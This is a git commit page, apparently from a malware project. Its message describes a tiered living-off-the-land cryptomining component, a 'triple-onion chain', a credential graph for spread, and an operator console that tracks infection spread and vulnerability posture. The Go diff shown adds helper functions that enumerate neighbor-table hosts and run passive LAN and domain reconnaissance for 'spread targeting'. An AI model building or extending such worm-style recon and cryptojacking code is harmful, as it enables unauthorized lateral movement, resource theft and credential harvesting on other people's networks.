Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -5,6 +5,16 @@ func ArpNeighborIPs() []string {
return arpHosts()
}
// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
func NeighborTableIPs() []string {
return neighborHosts()
}
// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
return CollectNetworkHints(maxHosts)
}
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
func PrimaryLocalIPv4() (string, error) {
return primaryLocalIPv4()